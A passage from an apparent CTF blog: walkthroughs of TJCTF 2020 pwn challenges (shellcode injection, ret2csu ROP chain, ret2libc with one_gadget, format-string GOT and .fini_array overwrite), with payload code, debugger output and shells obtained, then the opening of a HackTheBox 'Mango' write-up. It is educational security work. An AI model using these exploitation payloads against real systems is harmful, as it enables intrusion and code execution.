<p>This is a bit different, the contents where <code class="language-plaintext highlighter-rouge">ecx-0x4</code> points (due to lea - load effective) is written to <code class="language-plaintext highlighter-rouge">esp</code> (not the value of ecx itself) and the program jumps to <code class="language-plaintext highlighter-rouge">esp</code> after executing <code class="language-plaintext highlighter-rouge">ret</code> instruction.</p>
<p>Our input is written to <code class="language-plaintext highlighter-rouge">ecx</code>, so in order to jump to the leaked address, we need to add <code class="language-plaintext highlighter-rouge">0x4</code> to <code class="language-plaintext highlighter-rouge">ecx</code> to align the address, and the leaked address should contain the pointer to our shellcode.</p>
<p>The offset is to control the instruction pointer is <code class="language-plaintext highlighter-rouge">32</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# pattern 0x31624130
Pattern 0x31624130 first occurrence at position 32 in pattern.
</code></pre></div></div>
<p>Our payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = ""
payload += p32(leak + 0x4) # point to our shellcode, +4 bytes from the leak
payload += shellcode
payload += "\x90" * (32 - len(payload)) # padding to control IP
payload += p32(leak+4) # leak + 0x4 due to ecx-0x4
</code></pre></div></div>
<p>Executing the payload will look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/el_primo# python test.py
[+] Starting local process './el_primo': pid 5823
[*] Leaked stack: 0xffe46da0
[*] Switching to interactive mode
$ ls
core el_primo exploit.py flag.txt test.py
$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/el_primo/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/el_primo/exploit.py</a></p>
<h2 id="stop-70-points">Stop (70 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + ret2csu (control rdx) + set rax trick (used read syscall) + execve syscall
</code></pre></div></div>
<p>Again, this challenge is vulnerable to buffer overflow, but it is not possible to inject a shellcode since the <code class="language-plaintext highlighter-rouge">NX bit</code> is set.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/stop/stop'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Full
</code></pre></div></div>
<p>The binary asks for two user inputs.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop
Which letter? a
Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows
Category? test
Sorry, we don't have that category yet
</code></pre></div></div>
<p>A quick fuzz shows us the offset to control the instruction pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/stop/stop
Which letter? Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Country Capitals
Electronics and Gadgets
Sports
Things You Keep Hidden
Top Broadway Shows
Category?
Sorry, we don't have that category yet
Program received signal SIGSEGV, Segmentation fault.
0x00000000004008d1 in main ()
gef➤ x/xg $rsp
0x7fffffffdee8: 0x6a41356a41346a41
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# pattern 0x6a41356a41346a41
Pattern 0x6a41356a41346a41 first occurrence at position 282 in pattern.
</code></pre></div></div>
<p>We can control the instruction pointer by sending a payload with a length of <code class="language-plaintext highlighter-rouge">282</code>.</p>
<p>Upon inpsection, we cannnot use any built-in function to do a ret2libc attack.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400558 _init
0x0000000000400580 strcasecmp@plt
0x0000000000400590 setbuf@plt
0x00000000004005a0 printf@plt
0x00000000004005b0 getchar@plt
0x00000000004005c0 _start
0x00000000004005f0 _dl_relocate_static_pie
0x0000000000400600 deregister_tm_clones
0x0000000000400630 register_tm_clones
0x0000000000400670 __do_global_dtors_aux
0x00000000004006a0 frame_dummy
0x00000000004006a7 get_letter
0x00000000004006e6 get_category
0x000000000040073c main
0x00000000004008e0 read
0x00000000004008f0 __libc_csu_init
0x0000000000400960 __libc_csu_fini
0x0000000000400964 _fini
</code></pre></div></div>
<p>We can check some useful gadgets using <code class="language-plaintext highlighter-rouge">ROPgadget</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# ROPgadget --binary stop | grep -E "syscall|pop rdi|pop rsi|pop rax|pop rdx"
0x00000000004008e1 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004008e3 : add byte ptr [rax], al ; syscall
0x00000000004008df : add byte ptr [rax], bh ; syscall
0x00000000004008de : add byte ptr [rax], dil ; syscall
0x00000000004008e0 : mov eax, 0 ; syscall
0x00000000004008dc : nop dword ptr [rax] ; mov eax, 0 ; syscall
0x0000000000400953 : pop rdi ; ret
0x0000000000400951 : pop rsi ; pop r15 ; ret
0x00000000004008e5 : syscall
</code></pre></div></div>
<p>We can call execve(‘/bin/sh’) by using syscall. We also need the string <code class="language-plaintext highlighter-rouge">/bin/sh</code>.</p>
<p>Luckily, we can find the string inside the binary.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# r2 -c iz -q stop | grep /bin/sh
012 0x00000a1a 0x00400a1a 7 8 (.rodata) ascii /bin/sh
</code></pre></div></div>
<p>To call execve using syscall, we need to setup the registers as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$rax = 0x3b
$rdi = address of /bin/sh
$rsi = 0
$rdx = 0
</code></pre></div></div>
<p>Our main challenge here is that we do not have any gadgets for controlling <code class="language-plaintext highlighter-rouge">rax</code> and <code class="language-plaintext highlighter-rouge">rdx</code>.</p>
<p>To control rax, we can use the <code class="language-plaintext highlighter-rouge">read</code> built-in function (0x00000000004008e0 read).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>From the man page.
RETURN VALUE
On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number.
</code></pre></div></div>
<p>Our next problem is to setup the value of <code class="language-plaintext highlighter-rouge">rdx</code>, since we need to set the registers to execute <code class="language-plaintext highlighter-rouge">read(fd,address,length)</code> and overwrite <code class="language-plaintext highlighter-rouge">rax</code> with <code class="language-plaintext highlighter-rouge">0x3b</code>.</p>
<p>We can use <a href="ret2csu">https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf</a> technique to control the rdx.</p>
<p>TL;DR, we can use the built-in function <code class="language-plaintext highlighter-rouge">__libc_csu_init</code> to control the value of <code class="language-plaintext highlighter-rouge">rdx</code> by setting the value of <code class="language-plaintext highlighter-rouge">r15</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x00000000004008f0 <+0>: push r15
0x00000000004008f2 <+2>: push r14
0x00000000004008f4 <+4>: mov r15,rdx
0x00000000004008f7 <+7>: push r13
0x00000000004008f9 <+9>: push r12
0x00000000004008fb <+11>: lea r12,[rip+0x2014b6] # 0x601db8
0x0000000000400902 <+18>: push rbp
0x0000000000400903 <+19>: lea rbp,[rip+0x2014b6] # 0x601dc0
0x000000000040090a <+26>: push rbx
0x000000000040090b <+27>: mov r13d,edi
0x000000000040090e <+30>: mov r14,rsi
0x0000000000400911 <+33>: sub rbp,r12
0x0000000000400914 <+36>: sub rsp,0x8
0x0000000000400918 <+40>: sar rbp,0x3
0x000000000040091c <+44>: call 0x400558 <_init>
0x0000000000400921 <+49>: test rbp,rbp
0x0000000000400924 <+52>: je 0x400946 <__libc_csu_init+86>
0x0000000000400926 <+54>: xor ebx,ebx
0x0000000000400928 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400930 <+64>: mov rdx,r15 <------------- r15 overwrites rdx
0x0000000000400933 <+67>: mov rsi,r14
0x0000000000400936 <+70>: mov edi,r13d
0x0000000000400939 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040093d <+77>: add rbx,0x1
0x0000000000400941 <+81>: cmp rbp,rbx
0x0000000000400944 <+84>: jne 0x400930 <__libc_csu_init+64>
0x0000000000400946 <+86>: add rsp,0x8
0x000000000040094a <+90>: pop rbx
0x000000000040094b <+91>: pop rbp
0x000000000040094c <+92>: pop r12
0x000000000040094e <+94>: pop r13
0x0000000000400950 <+96>: pop r14
0x0000000000400952 <+98>: pop r15
0x0000000000400954 <+100>: ret
End of assembler dump.
</code></pre></div></div>
<p>We also need to write the address of <code class="language-plaintext highlighter-rouge">syscall</code> to <code class="language-plaintext highlighter-rouge">.bss</code> to make <code class="language-plaintext highlighter-rouge">__libc_csu_init</code> execute syscall after setting up the registers.</p>
<p>Our payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># First chain - will setup syscall for read - to set syscall on bss and rax (0x3b) for execve
payload = ""
payload += "A"*offset
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x601db8) # frame_dummy
payload += p64(0)
payload += p64(0)
payload += p64(100) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(0x602000) # bss
payload += p64(0)
payload += p64(0x4008e0) # call read(0,0x602000,0x100)
# Second chain - Will setup rdi rsi rdx for execve('/bin/sh',0,0)
payload += p64(0x40094b) # pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += p64(1) # rbp for jne
payload += p64(0x602000) # bss
payload += p64(shell_addr) # rdi
payload += p64(0)
payload += p64(0) # rdx value
payload += p64(0x0000000000400930) #ret2csu 0x0000000000400930
</code></pre></div></div>
<p>This chain will execute <code class="language-plaintext highlighter-rouge">read(0, 0x602000, 0x100</code>) and will ask again for another user input. The next user input should contain the syscall address and should have the length of <code class="language-plaintext highlighter-rouge">0x3b</code>. After sending the input, the program will call <code class="language-plaintext highlighter-rouge">execve('/bin/sh',0,0)</code>.</p>
<p>Executing the payload will look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/stop# python test.py
[+] Starting local process './stop': pid 7314
[*] Switching to interactive mode
$ ls
core exploit.py flag.txt stop test.py
$ cat flag.txt
tjctf{st0p_th4t_r1ght_now}
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/stop/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/stop/exploit.py</a></p>
<h2 id="cookie-library-90-points">Cookie Library (90 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Buffer overflow + ret2libc leak + rop-chain one_gadget
</code></pre></div></div>
<p>The solution for this challenge is similar to <code class="language-plaintext highlighter-rouge">Seashells</code>.</p>
<p>A quick check shows that the given binary is also vulnerable to buffer overflow, but it is not possible to inject a shellcode since the <code class="language-plaintext highlighter-rouge">NX bit</code> is set.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Full
</code></pre></div></div>
<p>The binary asks for a user input. A quick fuzz gives us the offset we need to control the instruction pointer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# gdb -q cookie_library
gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/cookie_library/cookie_library
Check out all these cookies!
- snickerdoodles
- chocolate chip cookies
- oatmeal raisin cookies
- gingersnaps
- shortbread cookies
- peanut butter cookies
- whoopie pies
- sugar cookies
- molasses cookies
- kiss cookies
- biscotti cookies
- butter cookies
- spritz cookies
- snowball cookies
- drop cookies
- thumbprint cookies
- pinwheel cookies
- wafers
- macaroons
- fortune cookies
- crinkle cookies
- icebox cookies
- gingerbread cookies
- tassies
- lebkuchen cookies
- macarons
- black and white cookies
- white chocolate macadamia nut cookies
Which is the most tasty?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
I'm sorry but we can't be friends anymore
Program received signal SIGSEGV, Segmentation fault.
0x00000000004008c4 in main ()
gef➤ x/xg $rsp
0x7fffffffdeb8: 0x3164413064413963
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# pattern 0x3164413064413963
Pattern 0x3164413064413963 first occurrence at position 88 in pattern.
</code></pre></div></div>
<p>We need a padding of 88 bytes to control the program.</p>
<p>To get a shell from this program, we can use ret2libc attack to leak a libc address and execute <code class="language-plaintext highlighter-rouge">system('/bin/sh')</code>.</p>
<p>Our stage 1 payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = ""
payload += "A"*88 # padding
payload += p64(pop_rdi) # control first argument
payload += p64(puts_got) # GOT address of puts (to leak printf libc address)
payload += p64(puts_plt) # will execute puts(&printf_got)
payload += p64(main_plt) # jump back to main (for stage 2 payload)
</code></pre></div></div>
<p>Again, we can use <a href="https://libc.blukat.me/">LIBC Database</a> to determine the version of the LIBC used.</p>
<p>Once the LIBC base and other libc function addresses are determined, we can now create our stage 2 payload.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>libc_base = puts_leak - puts_offset
# Stage 2 payload
payload = ""
payload += "A"*88 # padding
payload += p64(libc_base + one_gadget_offset)# one_gadget
</code></pre></div></div>
<p>I used one_gadget to execute a shell.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/cookie_library# one_gadget libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/cookie_library/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/cookie_library/exploit.py</a></p>
<h2 id="naughty-100-points">Naughty (100 points)</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Challenge: Format string + loop back to main using .fini_array + overwrite printf GOT with system()
</code></pre></div></div>
<p>This challenge is not similar to the challenges above. A quick check shows that the given binary is not vulnerable to the attacks used (buffer overflow / shellcode injection / ret2libc / ret2csu) from the previous challenges. Still, it is vulnerable to format string attack.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ checksec
[+] checksec for '/root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : No
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty
_ _ __ _ _ _ _ _ _ _ _ ___
| \| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \| | (_) __ ___ |__ \
| .` | / _` | | +| | \__, | | ' \ | _| \_, | o / _ \ | '_| o | .` | | | / _| / -_) /_/
|_|\_| \__,_| \_,_| |___/ |_||_| _\__| _|__/ TS__[O] \___/ _|_|_ TS__[O] |_|\_| _|_|_ \__|_ \___| _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
What is your name?
%x
You are on the NAUGHTY LIST 100
</code></pre></div></div>
<p>To solve a this challenge, we can use a GOT overwrite since the GOT table is writable (no RelRO bit set).</p>
<p>Upon inspection, we cannot easily control the program flow since the program terminates after the <code class="language-plaintext highlighter-rouge">printf()</code> function that vulnerable to format string attack.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ disas main
Dump of assembler code for function main:
------------ redacted -------------------------
0x0804862f <+249>: call 0x80483b0 <printf@plt> <--- vulnerable to format string attack
0x08048634 <+254>: add esp,0x10
0x08048637 <+257>: mov eax,0x0
0x0804863c <+262>: mov edx,DWORD PTR [ebp-0xc]
0x0804863f <+265>: xor edx,DWORD PTR gs:0x14
0x08048646 <+272>: je 0x804864d <main+279>
0x08048648 <+274>: call 0x80486d0 <__stack_chk_fail_local>
0x0804864d <+279>: lea esp,[ebp-0x8]
0x08048650 <+282>: pop ecx
0x08048651 <+283>: pop ebx
0x08048652 <+284>: pop ebp
0x08048653 <+285>: lea esp,[ecx-0x4]
0x08048656 <+288>: ret
</code></pre></div></div>
<p>A quick research led me into this <a href="page">https://stackoverflow.com/questions/22147996/cant-find-a-section-dtors</a>. It tells us that we can overwrite the destructors (.fini_array) to make the program loop back to main.</p>
<p>We can overwrite this address with the address of <code class="language-plaintext highlighter-rouge">main()</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/naughty# objdump -h -j .fini_array naughty
naughty: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
19 .fini_array 00000004 08049bac 08049bac 00000bac 2**2
CONTENTS, ALLOC, LOAD, DATA
</code></pre></div></div>
<p>While overwriting <code class="language-plaintext highlighter-rouge">fini_array</code>, we can also leak a known libc address inside the stack to determine the libc version used, and leak a stack address to overwrite the return value.</p>
<p>Let’s get the format string offset first.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ r
Starting program: /root/Documents/CTFs/2020/tjctf/pwn/naughty/naughty
_ _ __ _ _ _ _ _ _ _ _ ___
| \| | __ _ _ _ / _` | | |_ | |_ | || | o O O ___ _ _ o O O | \| | (_) __ ___ |__ \
| .` | / _` | | +| | \__, | | ' \ | _| \_, | o / _ \ | '_| o | .` | | | / _| / -_) /_/
|_|\_| \__,_| \_,_| |___/ |_||_| _\__| _|__/ TS__[O] \___/ _|_|_ TS__[O] |_|\_| _|_|_ \__|_ \___| _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """"| {======|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
What is your name?
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
You are on the NAUGHTY LIST AAAA 100 f7fa2580 8048550 ffffcfc4 ffffcfc0 3 41414141 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825
[Inferior 1 (process 7634) exited normally]
</code></pre></div></div>
<p>Our input <code class="language-plaintext highlighter-rouge">AAAA or 0x41414141</code> can be seen on the 7th output.</p>
<p>Our stage 1 payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = ""
payload += p32(fini_array) # overwrite fini_array
payload += p32(printf_got) # for leaking libc address of printf
payload += "%.{}x".format(0x8536-8) # Will only overwrite last 2 bytes of what's written on fini_array
payload += "%7$hn" # the offset
payload += "AAAA%8$s %69$pBBBB" # Will also leak the value of printf libc and a stack address
</code></pre></div></div>
<p>After leaking the address, we can use <a href="https://libc.blukat.me/">LIBC Database</a> to determine the version of the LIBC used.</p>
<p>For the stage 2 payload, we need to overwrite the location of the return address with the <code class="language-plaintext highlighter-rouge">main()</code> address to create a loop, and overwrite the GOT value of <code class="language-plaintext highlighter-rouge">printf()</code> with <code class="language-plaintext highlighter-rouge">system()</code> so that instead of printing our input “/bin/sh”, it will be executed by the system function.</p>
<p>Our stage 2 payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>libc_leak, stack_leak = r.recvuntil('BBBB').split("AAAA")[-1].split(' ')
libc_leak = u32(libc_leak[:4])
stack_leak = int(stack_leak.replace('BBBB',''),16)
libc_base = libc_leak - 0x050b60
ret_addr = stack_leak - 0x170 - 0x8
system_addr = libc_base + 0x03cd10
# Not working lol -----------------------------------------------------
payload = fmtstr_payload(offset, {ret_addr: main_plt, printf_got: system_addr}, write_size='byte')
# used pwntools' fmtstr_payload to make my life easier lol
</code></pre></div></div>
<p>After sending this payload, we just need to send “/bin/sh” to spawn a shell.</p>
<p>Executing the payload will look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@windows98:~/Documents/CTFs/2020/tjctf/pwn/naughty# python test.py
[+] Starting local process './naughty': pid 7780
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc leak: 0xf7df4a50
[*] libc base: 0xf7da2000
[*] stack leak: 0xffa31b14
[*] ret addr: 0xffa3199c
[+] Got a shell!
[*] Switching to interactive mode
sh: 1: You: not found
$ ls
exploit.py flag.txt libc.so.6 naughty oneshots test.py
$ cat flag.txt
tjctf{form4t_strin9s_ar3_on_th3_n1ce_li5t}
</code></pre></div></div>
<p>Exploit script: <a href="https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/naughty/exploit.py">https://github.com/ar33zy/CTFs/blob/master/2020/tjctf/pwn/naughty/exploit.py</a></p>ar33zyThis is a quick walkthrough of my solutions for TJCTF 2020 pwn challenges. I will just elaborate some of the tricks that I learned while solving these challenges.HTB Writeup - Mango2020-04-19T00:00:00+00:002020-04-19T00:00:00+00:00https://ar33zy.hackstreetboys.ph/hackthebox/machines/htb-mango<p><img src="/assets/images/htb/mango/logo.png" alt="" /></p>
<p>Mango is rated as a medium difficulty linux machine. This machine is hosting a webserver vulnerable to NoSQL injection, allowing attackers to leak credentials that can be used to successfully login via SSH. For privilege escalation, a scripting tool with SUID enabled can be used by attackers to execute shell commands as root.</p>
<h2 id="recon">Recon</h2>
<p>A quick masscan + nmap scan gives us the following info:</p>
<p><img src="/assets/images/htb/mango/scan.png" alt="" /></p>
<p>There are 3 open ports, <code class="language-plaintext highlighter-rouge">22, 80 and 443</code>. Credentials are needed for SSH access so let’s proceed checking up <code class="language-plaintext highlighter-rouge">port 80</code> and <code class="language-plaintext highlighter-rouge">port 443</code>.</p>
<h2 id="webserver">Webserver</h2>
<p>Hitting up port 80 gives us a <code class="language-plaintext highlighter-rouge">403 Forbidden</code> response.</p>
<p><img src="/assets/images/htb/mango/port_80.png" alt="" /></p>
<p>Adding <code class="language-plaintext highlighter-rouge">mango.htb</code> to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> gives us the same response.</p>
<p><img src="/assets/images/htb/mango/port_80_etchosts.png" alt="" /></p>
<p>Enumerating <code class="language-plaintext highlighter-rouge">port 80</code>’s directories also gave nothing.</p>
<p>Skipping to <code class="language-plaintext highlighter-rouge">port 443</code>, accessing the port leads us to this webpage.</p>
<p><img src="/assets/images/htb/mango/port_443.png" alt="" /></p>
